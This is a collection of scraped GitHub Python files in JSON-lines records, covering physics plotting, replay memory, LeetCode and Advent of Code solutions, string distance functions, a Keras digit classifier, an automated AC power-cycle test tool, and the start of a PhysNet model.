p_cal_data = {\n\n \"p_cal_eff\" : len(mm_noID_electron)/len(mm_PID_electron),\n }\n\n f = plt.figure(tight_layout=True, figsize=(11.69,8.27))\n plt.style.use('default')\n\n plt.hist(missmass,bins=c.setbin(missmass,800,0,2.0),label='no cuts',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_noID_electron,bins=c.setbin(mm_noID_electron,800,0,2.0),label='no ID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_PID_electron,bins=c.setbin(mm_PID_electron,800,0,2.0),label='PID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.legend(loc=1)\n plt.title('Missing Mass ($GeV^2$)', fontsize =20)\n\n f.savefig('OUTPUTS/missmass_%s.png' % runNum)\n\n noID_plot = c.densityPlot(coin_noID_electron, mm_noID_electron, 'Pion Coincident Time vs Mass ($GeV^2$) for ROC1 (w/out SHMS Calorimeter cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n noID_plot[1].savefig('OUTPUTS/noID_shms_cal_%s.png' % runNum)\n\n PID_plot = c.densityPlot(coin_PID_electron, mm_PID_electron, 'Pion Coincident Time vs Mass ($GeV^2$) for ROC1 (with SHMS Calorimeter cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n PID_plot[1].savefig('OUTPUTS/PID_shms_cal_%s.png' % runNum)\n \n print(\"======================\")\n print(\"= %s SHMS CAL DONE =\" % runNum)\n print(\"======================\\n\\n\")\n \n return p_cal_data\n\ndef main():\n\n h_cer_data = hms_cer()\n h_cal_data = hms_cal()\n p_hgcer_data = shms_hgcer()\n p_aero_data = shms_aero()\n p_cal_data = shms_cal()\n\n runNum_dict = {\n \"run_number\" : int(runNum)\n }\n\n datadict = {}\n for d in (runNum_dict, h_cer_data, h_cal_data, p_hgcer_data, p_aero_data, p_cal_data): \n datadict.update(d)\n data = {i : datadict[i] for i in sorted(datadict.keys())}\n\n # plt.show()\n\n table = pd.DataFrame([data], columns=data.keys())\n\n table = table.reindex(sorted(table.columns), axis=1)\n \n file_exists = os.path.isfile(filename)\n\n if file_exists:\n table.to_csv(filename, index = False, header=False, mode='a',)\n else:\n table.to_csv(filename, index = False, header=True, mode='a',)\n\nif __name__ == '__main__':\n main()\n","repo_name":"JeffersonLab/UTIL_PION","sub_path":"scripts/pid/src/test/pid_eff.py","file_name":"pid_eff.py","file_ext":"py","file_size_in_byte":17089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"3063934986","text":"from collections import namedtuple\n\n# Taken from\n# https://github.com/pytorch/tutorials/blob/master/Reinforcement%20(Q-)Learning%20with%20PyTorch.ipynb\nTransition = namedtuple('Transition', ('state', 'action', 'logprob', 'mask', 'next_state', 'reward', 'value'))\nSimpleTransition = namedtuple('SimpleTransition', ('state', 'action', 'logprob', 'mask','reward', 'value'))\nInputOutput = namedtuple('InputOutput', ('loss'))\nRNTransition = namedtuple('StepTransition', ('state', 'action', 'logprob', 'mask', 'reward', 'value', 'step', 'task'))\n\nclass Memory(object):\n def __init__(self, element='transition'):\n self.memory = []\n if element == 'transition':\n self.element = Transition\n elif element == 'simpletransition':\n self.element = SimpleTransition\n elif element == 'inputoutput':\n self.element = InputOutput\n elif element == 'rntransition':\n self.element = RNTransition\n else:\n assert False\n\n def push(self, *args):\n \"\"\"Saves a transition.\"\"\"\n self.memory.append(self.element(*args))\n\n def sample(self, batch_size=None):\n if batch_size is None:\n return self.element(*zip(*self.memory))\n else:\n random_batch = random.sample(self.memory, batch_size)\n return self.element(*zip(*random_batch))\n\n def append(self, new_memory):\n self.memory += new_memory.memory\n\n def __len__(self):\n return len(self.memory)\n\n def clear_buffer(self):\n del self.memory[:]\n","repo_name":"mbchang/crl","sub_path":"rb.py","file_name":"rb.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"32"} +{"seq_id":"13026893368","text":"#Given a sorted integer array nums, where the range of elements are in the inclusive range [lower, upper], return its missing ranges.\n\nfrom typing import List\n\n\nclass Solution:\n def findMissingRanges(self, nums: List[int], lower: int, upper: int) -> List[str]:\n nums = [lower-1] + nums + [upper+1]\n res = []\n for i in range(len(nums)-1):\n if nums[i+1] - nums[i] == 2:\n res.append(str(nums[i]+1))\n elif nums[i+1] - nums[i] > 2:\n res.append(str(nums[i]+1) + '->' + str(nums[i+1]-1))\n return res\n \n \n'''\nInput: nums = [0, 1, 3, 50, 75], lower = 0 and upper = 99,\nOutput: [\"2\", \"4->49\", \"51->74\", \"76->99\"]\n\nrequirements: \n1) len of nums ? \n\nspecial cases: \n1) when nums == [], lower = 0, upper, return [\"lower-upper\"]\n2) nums = [0,2,5,8], lower = 0, upper = 10, return [\"1\", \"3->4\", \"6->7\",\"9->10\"]\n\nsolutions: \n1) iterate nums, from i = 1, to len(nums) - 1 \n2) compare nums[i] and nums[i-1]\n if nums[i] == 1 + nums[i-1], then continue\n else: \n dif = nums[i] - nums[i-1]\n \n start = nums[i] + 1, end = nums[i-1] - 1 \n if start == end: \n add \"start\" to result \n else add \"start -> end\" to result \ncomplexity: time o(n), space o(1) excluding the space used by the result \n \n'''\n\n\nclass Range: \n def findMissRange(self, arr, lower, upper): \n a = lower - 1 \n result = [] \n arr.append(upper + 1)\n for b in arr: \n if b > a + 1:\n start, end = a + 1, b - 1 \n if start == end: \n result.append(str(start))\n else: \n result.append(str(start) + '->' + str(end))\n a = b\n arr.pop() \n return result \n \n \n \n \n\n \n","repo_name":"hjblue4739/LC_copy","sub_path":"163.py","file_name":"163.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40116538368","text":"\"\"\"Compute distance\"\"\"\nimport editdistance\nimport jellyfish\nimport collections\nfrom collections import Counter\nimport time\nimport numpy as np\nimport pandas as pd\nimport spacy\n\n\n\"\"\"Distance Functions\"\"\"\ndef jaccardDistance(x, y, w=None):\n inter = set(x).intersection(set(y))\n union = set(x).union(set(y))\n if w is None:\n sum_inter = len(inter)\n sum_union = len(union)\n else:\n sum_inter = sum([w[s] for s in inter])\n sum_union = sum([w[s] for s in union])\n d = 1 - sum_inter / (sum_union + 1e-9)\n return d\n\ndef cosineDistance(x, y, w=None):\n c1 = Counter(x)\n c2 = Counter(y)\n inter = set(x).intersection(set(y))\n\n if w is None:\n uv = sum([c1[s]*c2[s] for s in inter])\n u = np.sqrt(sum([c1[s]**2 for s in set(x)]))\n v = np.sqrt(sum([c2[s]**2 for s in set(y)]))\n else:\n uv = sum([w[s]*c1[s]*w[s]*c2[s] for s in inter])\n u = np.sqrt(sum([(w[s]*c1[s])**2 for s in set(x)]))\n v = np.sqrt(sum([(w[s]*c2[s])**2 for s in set(y)]))\n\n d = 1 - uv / (u * v + 1e-9)\n return d\n\ndef diceDistance(x, y, w=None):\n inter = set(x).intersection(set(y))\n union = set(x).union(set(y))\n if w is None:\n sum_inter = len(inter)\n sum_union = len(union)\n else:\n sum_inter = sum([w[s] for s in inter])\n sum_union = sum([w[s] for s in union])\n d = 1 - (2 * sum_inter / (sum_inter + sum_union + 1e-9))\n return d\n\ndef maxincDistance(x, y, w=None):\n inter = set(x).intersection(set(y))\n if w is None:\n sum_inter = len(inter)\n else:\n sum_inter = sum([w[s] for s in inter])\n\n if w is None:\n sum_x = len(set(x))\n sum_y = len(set(y))\n else:\n sum_x = sum([w[s] for s in set(x)])\n sum_y = sum([w[s] for s in set(y)])\n min_sum = min(sum_x, sum_y)\n d = 1 - (sum_inter / (min_sum + 1e-9))\n return d\n\ndef intersectDistance(x, y, w=None):\n inter = set(x).intersection(set(y))\n union = set(x).union(set(y))\n if w is None:\n sum_inter = len(inter)\n sum_union = len(union)\n else:\n sum_inter = sum([w[s] for s in inter])\n sum_union = sum([w[s] for s in union])\n d = 1 - sum_inter / (sum_inter + sum_union + 1e-9)\n return d\n\ndef isContain(x, y):\n set_x = set(x)\n set_y = set(y)\n\n if len(set_x) > len(set_y):\n return set_y.issubset(set_x)\n else:\n return set_x.issubset(set_y)\n\ndef containCosineDistance(x, y, w=None):\n if isContain(x, y):\n return cosineDistance(x, y, w)\n else:\n return 1\n\ndef containJaccardDistance(x, y, w=None):\n if isContain(x, y):\n return jaccardDistance(x, y, w)\n else:\n return 1\n\ndef containDiceDistance(x, y, w=None):\n if isContain(x, y):\n return diceDistance(x, y, w)\n else:\n return 1\n\ndef editDistance(x, y):\n d = editdistance.eval(x, y)\n return d\n\ndef jaroDistance(x, y):\n d = 1 - jellyfish.jaro_winkler_similarity(x, y)\n return d\n\ndef embedDistance(x, y, embedding):\n x = embedding(x)\n y = embedding(y)\n d = 1 - x.similarity(y)\n return d\n\nclass DistanceFunction(object):\n \"\"\"Distance function\n\n Parameters\n ----------\n method: string\n Method of computing distance. The available methods are listed as\n follows.\n Set-based distance\n - jaccardDistance\n - cosineDistance\n - diceDistance\n - maxincDistance\n - intersectDistance\n - containCosineDistance\n - containJaccardDistance\n - containDiceDistance\n Char-based distance\n - editDistance\n - jaroDistance\n\n \"\"\"\n def __init__(self, method):\n self.method = method\n if method == \"jaccardDistance\":\n self.func = jaccardDistance\n elif method == \"cosineDistance\":\n self.func = cosineDistance\n elif method == \"diceDistance\":\n self.func = diceDistance\n elif method == \"maxincDistance\":\n self.func = maxincDistance\n elif method == \"intersectDistance\":\n self.func = intersectDistance\n elif method == \"editDistance\":\n self.func = editDistance\n elif method == \"jaroDistance\":\n self.func = jaroDistance\n elif method == \"containCosineDistance\":\n self.func = containCosineDistance\n elif method == \"containJaccardDistance\":\n self.func = containJaccardDistance\n elif method == \"containDiceDistance\":\n self.func = containDiceDistance\n elif method == \"embedDistance\":\n self.func = embedDistance\n self.embedding = spacy.load(\"en_core_web_lg\")\n else:\n raise Exception(\"{} is an invalid distance function\"\n .format(method))\n\n def compute_distance(self, LR, weight=None):\n \"\"\"\"Compute distance score between tuple pairs\n\n Parameters:\n ----------\n LR: pd.DataFrame\n A table of tuple pairs. The columns of left and right values are\n named as \"value_l\" and \"value_r\". For char-based distance the type\n of values are string. For set-based distance the type of values are\n token set.\n\n weight: dict, default=None\n Weighting schema. If none, uniform weight or no weight is used.\n\n Return:\n -------\n distance: pd.Series\n distance between tuple pairs for each row\n \"\"\"\n if weight is None:\n if self.method != \"embedDistance\":\n distance = LR.apply(lambda x: self.func(x.value_l, x.value_r), axis=1)\n else:\n distance = LR.apply(lambda x: self.func(x.value_l, x.value_r, self.embedding), axis=1)\n else:\n distance = LR.apply(lambda x: self.func(x.value_l, x.value_r, weight), axis=1)\n return distance\n\n# data = pd.read_csv(\"../../data/left.csv\")[\"title\"]\n# X = np.concatenate([data.values for _ in range(20)])\n# X = pd.Series(X)\n#\n# L = X\n# R = X.sample(frac=1)\n#\n# from tokenizer import Tokenizer\n# tokenizer = Tokenizer(\"splitBySpace\")\n# L = tokenizer.tokenize(L)\n# R = tokenizer.tokenize(R)\n# LR = pd.DataFrame({\"value_l\":L, \"value_r\":R})\n#\n# tic = time.time()\n# methods = [\"jaccardDistance\", \"maxincDistance\", \"containCosineDistance\"]\n# distance_function = DistanceFunction(\"jaccardDistance\")\n# distance_function.compute_distance(LR)\n# distance_function = DistanceFunction(\"maxincDistance\")\n# distance_function.compute_distance(LR)\n# distance_function = DistanceFunction(\"containCosineDistance\")\n# distance_function.compute_distance(LR)\n# print(time.time() - tic)\n","repo_name":"chu-data-lab/AutomaticFuzzyJoin","sub_path":"src/autofj/join_function_space/join_function/distance_function.py","file_name":"distance_function.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"32"} +{"seq_id":"39106682775","text":"'''\nAdvent of Code 2017\nDay 9: Stream Processing\n\n'''\n\nINPUT = open('day09-input.txt').read()\n\ndef scoreStream(inputString):\n\n currentDepth = 0\n runningScore = 0\n inGarbage = False\n ignoreNext = False\n\n garbageCharacters = 0\n\n for c in inputString:\n if ignoreNext:\n ignoreNext = False\n else:\n if inGarbage:\n if c == '!':\n ignoreNext = True\n elif c == '>':\n inGarbage = False\n else:\n garbageCharacters += 1\n else:\n if c == '{':\n currentDepth += 1\n runningScore += currentDepth\n elif c == '}':\n currentDepth -= 1\n elif c == '<':\n inGarbage = True\n\n return (runningScore, garbageCharacters)\n\nif __name__ == '__main__':\n\n print('Advent of Code\\nDay 9: Stream Processing\\n')\n (score, garbage) = scoreStream(INPUT)\n print('Part 1: The score is {0:d}'.format(score))\n print('Part 2: The number of garbage characters is {0:d}'.format(garbage))\n","repo_name":"AnthonyFloyd/2017-AdventOfCode-Python","sub_path":"day09.py","file_name":"day09.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72123233691","text":"# @Time: 3/12/2021\n# @Author: lnblanke\n# @Email: fjh314.84@gmail.com\n# @File: Prediction.py\n\n# Train a CNN with Keras and make predictions\n# @Time: 8/14/2020\n# @Author: lnblanke\n# @Email: fjh314.84@gmail.com\n# @File: Keras.py\n\nimport numpy as np\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.optimizers import SGD\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport pylab\n\ntrain = pd.read_csv(\"train.csv\")\ntest = pd.read_csv(\"test.csv\")\n\ntrain_label = train[\"label\"].values\n\ndel train[\"label\"]\n\ntrain_img = train.values\ntest_img = test.values\n\ntrain_img = np.reshape(train_img / 255 - .5, (len(train_img), 28, 28))\ntest_img = np.reshape(test_img / 255 - .5, (len(test_img), 28, 28))\n\ntrain_img = train_img\ntrain_label = train_label\n\ntrain_img = np.expand_dims(train_img, 3)\ntest_img = np.expand_dims(test_img, 3)\n\n# Form the CNN model\nmodel = Sequential([\n Conv2D(8, 3, input_shape = (28, 28, 1), use_bias = False),\n MaxPooling2D(pool_size = 2),\n Flatten(),\n Dense(10, activation = 'softmax')\n])\n\nif __name__ == '__main__':\n # Train\n model.compile(SGD(lr = .005), loss = 'categorical_crossentropy', metrics = ['accuracy'])\n\n model.fit(\n train_img,\n to_categorical(train_label),\n batch_size = 1,\n epochs = 20,\n )\n\n # Test\n prediction = model.predict(test_img)\n\n id = np.array(len(test_img))\n\n df = pd.DataFrame({\"Label\": np.argmax(prediction, axis = 1)}, index = list(range(1, len(test_img) + 1)))\n df.to_csv(\"submission.csv\")\n","repo_name":"lnblanke/ML","sub_path":"Kaggle/Digit Recognizer/Prediction.py","file_name":"Prediction.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10488964259","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2021/3/26 11:26\n# @Author : Su Yunzheng\n# @Email : suyun_zheng@163.com\n# @File : Module_4_Graded_Quiz.py\n# @Description:\n\nimport numpy as np\n\ndef h_ver(angle1,angle2,distance):\n '''\n :param angle1: 纵向角\n :param angle2:横向角\n :param distance:距离\n :return:x,y,z 三维世界中的坐标\n '''\n x = distance*np.cos(np.deg2rad(angle2))*np.cos(np.deg2rad(angle1))\n y = distance*np.sin(np.deg2rad(angle2))*np.cos(np.deg2rad(angle1))\n z = distance*np.sin(np.deg2rad(angle1))\n\n return x,y,z\n\n\nif __name__ == '__main__':\n x,y,z = h_ver(5,10,4)\n print(\"x:{}, y:{}, z:{}\".format(x,y,z))","repo_name":"suyunzzz/Coursera-State-Estimation-and-Localization-for-Self-Driving-Cars","sub_path":"Module4/Module_4_Graded_Quiz.py","file_name":"Module_4_Graded_Quiz.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"5997059858","text":"#!/usr/bin/env python3\nimport subprocess\nimport sys\nimport argparse\nimport datetime\nimport time\nimport filecmp\nimport difflib\nimport os\nimport socket\n\nPASS_BANNER = \"\"\"\n######## ### ###### ###### #### ####\n## ## ## ## ## ## ## ## #### ####\n## ## ## ## ## ## #### ####\n######## ## ## ###### ###### ## ##\n## ######### ## ##\n## ## ## ## ## ## ## #### ####\n## ## ## ###### ###### #### ####\n\"\"\"\n\nFAIL_BANNER = \"\"\"\n######## ### #### ## #### ####\n## ## ## ## ## #### ####\n## ## ## ## ## #### ####\n###### ## ## ## ## ## ##\n## ######### ## ##\n## ## ## ## ## #### ####\n## ## ## #### ######## #### ####\n\"\"\"\n#===================================================================================\ndef Log(string):\n\tnow = datetime.datetime.today()\n\ttmp = \"[%04d/%02d/%02d %02d:%02d:%02d] %s\\n\"%(now.year, now.month, now.day, now.hour, now.minute, now.second, string)\n\tf = open(\"LOG.txt\",\"a\")\n\tf.write(tmp)\n\tf.close()\n\tprint(string)\n#===================================================================================\ndef Compare():\n\tLog(\"SYS Comparison!!\")\n\tif(os.path.exists(\"SYS.txt\") == False):\n\t\treturn \"Couldn't find SYS.txt\"\n\n\tif(os.path.exists(\"SYS.new\") == True):\n\t\tos.remove(\"SYS.new\")\n\n\tLog(\"Create TEMP File for Comparison!! (SYS.new)\")\n\n\tcmd1 = \"lspci -vx | grep -a5 \\\"Sky Lake-E\\\"\"\n\tret1 = subprocess.check_output(cmd1, shell=True, universal_newlines=True)\n\tf = open(\"SYS.new\",\"w\")\n\tf.write(ret1)\n\tf.close()\n\n\n\tif(filecmp.cmp(\"SYS.txt\",\"SYS.new\") == False):\n\t\treturn \"SYS Comparison Fail\\n\" + File_Comp(\"SYS.txt\",\"SYS.new\")\n\n\treturn 0\n#===================================================================================\ndef File_Comp(a1,a2):\n\tf1 = open(a1,\"r\")\n\tf2 = open(a2,\"r\")\n\tr1 = f1.readlines()\n\tr2 = f2.readlines()\n\tf1.close()\n\tf2.close()\n\n\tfor i in r1:\n\t\ti = i.strip()\n\tfor i in r2:\n\t\ti = i.strip()\n\n\td = difflib.Differ()\n\tresult = list(d.compare(r1, r2))\n\n\tret = \"\"\n\n\tfor i in result:\n\t\tif(i[0] == '?'):\n\t\t\tcontinue\n\t\tret = ret + i.strip() + \"\\n\"\n\n\treturn ret\n#===================================================================================\ndef Execute():\n\tmsg = b\"#AAAA-000&\"\n\tHOST = '192.168.127.254'\n\tPORT = 4001\n\t\n\tLog(\"Execute APCT-III Command via LAN (%s:%d)\"%(HOST, PORT))\n\t\n\t'''\n\tCOM = \"COM8\"\n\ts = serial.Serial(port = COM, baudrate = 9600, timeout = 5)\n\ts.write(msg)\n\tret = s.readlines()\n\tprint(ret)\n\ts.close()\n\t'''\n\n\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\n\ttry:\n\t\tsock.connect((HOST, PORT))\n\texcept:\n\t\treturn \"LAN Connection Error!!\"\n\t\n\tsock.sendall(msg)\n\tdata = sock.recv(1024)\n\tsock.close()\n\t\n\treturn 0\n#===================================================================================\ndef Shutdown():\n\tLog(\"Shutdown System in 10 Seconds\")\n\n\tfor i in range(10):\n\t\tprint(\"\t%d...\"%(10-i))\n\t\ttime.sleep(1)\n\n\tret = Execute()\n\tif(ret != 0):\n\t\tLog(ret)\n\telse:\n\t\tLog(\"Shutdown System!!\")\n\t\tcmd = \"/sbin/poweroff\"\n\t\tret = subprocess.call(cmd, shell=True, universal_newlines=True)\n\t\n\treturn ret\n#===================================================================================\ndef Update():\n\tf = open(\"CYCLE.txt\",\"r+\")\n\ttmp = int(f.read().strip(),10)\n\tf.seek(0)\n\tf.write(str(tmp+1))\n\tf.close()\n#===================================================================================\ndef GetVal(filename):\n\tf = open(filename,\"r\")\n\ttmp = int(f.read().strip(),10)\n\tf.close()\n\n\treturn tmp\n#===================================================================================\ndef Remove():\n\ttmp_list = [\"CYCLE.txt\", \"MAX.txt\", \"LOG.txt\", \"SYS.txt\", \"SYS.new\"]\n\t\n\tfor i in tmp_list:\n\t\tif(os.path.exists(i) == True):\n\t\t\tos.remove(i)\n#===================================================================================\ndef Init():\n\tglobal args\n\n\tRemove()\n\n\tLog(\"AC Cycle Tool, by CESBG-TEC-SW\")\n\tLog(\"Total Test Cycle: %d\"%args.cycle)\n\tLog(\"Create INIT File for Comparison!! (SYS.txt)\")\n\n\n\tf = open(\"CYCLE.txt\",\"w\")\n\tf.write(str(0))\n\tf.close()\n\n\tf = open(\"MAX.txt\",\"w\")\n\tf.write(str(args.cycle))\n\tf.close()\n\n\tcmd1 = \"lspci -vx | grep -a5 \\\"Sky Lake-E\\\"\"\n\tret1 = subprocess.check_output(cmd1, shell=True, universal_newlines=True)\n\t\n\tf = open(\"SYS.txt\",\"w\")\n\tf.write(ret1)\n\tf.close()\n\n\tLog(\"Test Initialization Finish!!\")\n#===================================================================================\ndef End():\n\tLog(\"AC Test End\")\n\tnow = datetime.datetime.today()\n\tfilename = \"Log_%04d%02d%02d_%02d%02d%02d.txt\"%(now.year, now.month, now.day, now.hour, now.minute, now.second)\n\tos.rename(\"LOG.txt\",filename)\n\tRemove()\n\tprint(\"Log Filename: %s\"%(filename))\n\tinput(\"Press Any Key to Continue...\")\n#===================================================================================\ndef main(argv):\n\tglobal args\n\tVER = \"1.0\"\n\n\topts = argparse.ArgumentParser(description = \"BAM AC Cycle Tool, by CESBG-TEC-SW\\nVersion: %s\"%VER, epilog = \"Example: python3 BAM_AC_Cycle.py -c 500\")\n\tgroup = opts.add_mutually_exclusive_group()\n\topts.add_argument('-v', '--version', action = 'version', version = VER, help = \"Show Version\")\n\tgroup.add_argument('-c', '--cycle', type = int, required = False, default = 0, help = \"Test Cycle\")\n\tgroup.add_argument('-r', '--remove', action = \"store_true\", required = False, help = \"Remove Template File\")\n\tgroup.add_argument('-e', '--execute', action = \"store_true\", required = False, help = \"Execute APCT-III Command\")\n\t\n\targs = opts.parse_args()\n\n\tif(args.remove == True):\n\t\tRemove()\n\telif(args.execute == True):\n\t\tret = Execute()\n\t\tif(ret == 0):\n\t\t\tprint(\"Pass\")\n\t\telse:\n\t\t\tprint(\"Fail: \" + ret)\n\telif(args.cycle > 0):\n\t\tLog(\"Test Cycle = %d\"%(args.cycle))\n\t\tInit()\n\t\tret = input(\"Shutdown System?? (Y/N)\\n\").strip().upper()\n\t\tif(ret == \"Y\" or ret == \"YES\"):\n\t\t\tShutdown()\n\telif(os.path.exists(\"CYCLE.txt\") == True or os.path.exists(\"MAX.txt\") == True):\n\t\tcycle = GetVal(\"CYCLE.txt\")\n\t\tmax = GetVal(\"MAX.txt\")\n\t\tLog(\"Cycle[%d/%d]...\"%(cycle,max))\n\t\tret = Compare()\n\t\tif(ret == 0 and cycle < max):\n\t\t\tLog(\"Cycle[%d/%d]: Pass!!\"%(cycle,max))\n\t\t\tUpdate()\n\t\t\tShutdown()\n\t\telif(ret == 0 and cycle == max):\n\t\t\tLog(\"Cycle[%d/%d]: Pass!!\"%(cycle,max))\n\t\t\tLog(\"Test Pass!!\")\n\t\t\tprint(PASS_BANNER)\n\t\t\tEnd()\n\t\telif(ret != 0):\n\t\t\tLog(\"Test Fail!! (Error Message: %s)\"%(ret))\n\t\t\tprint(FAIL_BANNER)\n\telse:\n\t\topts.print_help()\n\n\treturn\n#===================================================================================\nif __name__ == '__main__':\n\tmain(sys.argv)\n\tsys.exit(0)\n","repo_name":"ysvggm/ac_cycle","sub_path":"AC_Cycle.py","file_name":"AC_Cycle.py","file_ext":"py","file_size_in_byte":6562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20425350905","text":"#!/user/bin/env python\r\n# -*-coding:utf-8 -*-\r\n# @CreateTime : 2021/10/25 22:52\r\n# @Author : xujiahui\r\n# @Project : robust_python\r\n# @File : zero_copy_prc1.py\r\n# @Version : V0.0.1\r\n# @Desc : ?\r\n\r\n\r\n# 借助于 memoryview 来实现零拷贝\r\nimport timeit\r\n\r\ndata = b\"shave and a haircut, two bits\"\r\nview = memoryview(data)\r\nchunk = view[12:19]\r\nprint(chunk)\r\nprint(\"Size: \", chunk.nbytes)\r\nprint(\"Data in view: \", chunk.tobytes())\r\nprint(\"Underlying data: \", chunk.obj)\r\n\r\n# bytes有个限制,就是只能读取不能修改,我们不能单独更新其中某个位置上的字节,而 bytearray 则相当于可修改的bytes,\r\n# 它允许我们修改任意位置上面的内容,bytearray采用整数表示其中的内容,而不像 bytes 那样,采用b开头的字面值\r\nmy_array = bytearray(b'hello')\r\nmy_array[0] = 0x79\r\nprint(my_array)\r\n\r\n\"\"\"\r\nbytearray 与 bytes 一样,也可以用 memoryview 封装,在这种 memoryview 上面切割出来的对象,其内容可以用另一份数据替换,\r\n这样做,替换的实际上是 memoryview 背后那个底层缓冲区里面的相应部分。这使得我们可以通过 memoryview 来修改它所封装的 bytearray,\r\n而不像 bytes 那样,必须先将 bytes 拆散再拼起来\r\n\"\"\"\r\nmy_array = bytearray(b'row, row, row your boat')\r\nmy_view = memoryview(my_array)\r\nwrite_view = my_view[3:13]\r\nwrite_view[:] = b'-10 bytes-'\r\nprint(my_array)\r\n\r\n\"\"\"\r\nPython 里面很多库之中的方法,例如 socket.recv_into 与 RawIOBase.readinto,都使用缓冲协议来迅速接受或读取数据。\r\n这种方法的好处是不用分配内存,也不用给原数据制作副本,它们会把收到的内容直接写入现有的缓冲区。\r\n\"\"\"\r\n\r\n","repo_name":"lukasdean/robust_python","sub_path":"performance/zero_copy_prc1.py","file_name":"zero_copy_prc1.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73224046488","text":"from __future__ import print_function\nimport sys, os, time\n\nos.chdir(os.path.join(os.getcwd(), os.path.dirname(sys.argv[0])))\nimport pywinauto\n\napp = pywinauto.Application().start_(r\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\")\nmain = app.Window_(title_re='^.* - Windows Internet Explorer$')\n\nmain.PageControlToolbar.WrapperObject().PressButton(6)\nmain.ToolbarFile.PressButton('&Tools')\ntime.sleep(1)\nmain.TypeKeys('{UP}{ENTER}')\n\n#OptionsDialog = app.Window_(title='Internet Options', class_name='#32770')\napp.InternetOptions.Wait('ready')\n#app.InternetOptions.PrintControlIdentifiers()\napp.InternetOptions.HomePageTabControl.Select('Connections')","repo_name":"pywinauto/pywinauto-sandbox","sub_path":"debugging/test_IE_toolbar.py","file_name":"test_IE_toolbar.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4744340313","text":"import math\nimport torch.nn as nn\nimport torch\n\n\nclass PhysNet(nn.Module):\n \"\"\"\n PhysNet with 3D convolution model\n \"\"\"\n def __init__(self, frames=128):\n \"\"\"\n Initialise PhysNet model\n :param frames: length of sequence to process\n \"\"\"\n super(PhysNet, self).__init__()\n\n self.ConvBlock1 = nn.Sequential(\n nn.Conv3d(3, 16, [1, 5, 5], stride=1, padding=[0, 2, 2]),\n nn.BatchNorm3d(16),\n nn.ReLU(inplace=True),\n )\n\n self.ConvBlock2 = nn.Sequential(\n nn.Conv3d(16, 32, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(32),\n nn.ReLU(inplace=True),\n )\n self.ConvBlock3 = nn.Sequential(\n nn.Conv3d(32, 64, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(64),\n nn.ReLU(inplace=True),\n )\n\n self.ConvBlock4 = nn.Sequential(\n nn.Conv3d(64, 64, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(64),\n nn.ReLU(inplace=True),\n )\n self.ConvBlock5 = nn.Sequential(\n nn.Conv3d(64, 64, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(64),\n nn.ReLU(inplace=True),\n )\n self.ConvBlock6 = nn.Sequential(\n nn.Conv3d(64, 64, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(64),\n nn.ReLU(inplace=True),\n )\n self.ConvBlock7 = nn.Sequential(\n nn.Conv3d(64, 64, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(64),\n nn.ReLU(inplace=True),\n )\n self.ConvBlock8 = nn.Sequential(\n nn.Conv3d(64, 64, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(64),\n nn.ReLU(inplace=True),\n )\n self.ConvBlock9 = nn.Sequential(\n nn.Conv3d(64, 64, [3, 3, 3], stride=1, padding=1),\n nn.BatchNorm3d(64),\n nn.ReLU(inplace=True),\n )\n\n self.upsample = nn.Sequential(\n nn.ConvTranspose3d(in_channels=64, out_channels=64, kernel_size=[4, 1, 1], stride=[2, 1, 1],\n padding=[1, 0, 0]), # [1, 128, 32]\n nn.BatchNorm3d(64),\n nn.ELU(),\n )\n self.upsample2 = nn.Sequential(\n nn.ConvTranspose3d(in_channels=64, out_channels=64, kernel_size=[4, 1, 1], stride=[2, 1, 1],\n padding=[1, 0, 0]), # [1, 128, 32]\n nn.BatchNorm3d(64),\n nn.ELU(),\n )\n\n self.gcb = GCBlock(64)\n self.ConvBlock10 = nn.Conv3d(64, 1, [1, 1, 1], stride=1, padding=0)\n\n self.MaxpoolSpa = nn.MaxPool3d((1, 2, 2), stride=(1, 2, 2))\n self.MaxpoolSpaTem = nn.MaxPool3d((2, 2, 2), stride=2)\n\n # self.poolspa = nn.AdaptiveMaxPool3d((frames,1,1)) # pool only 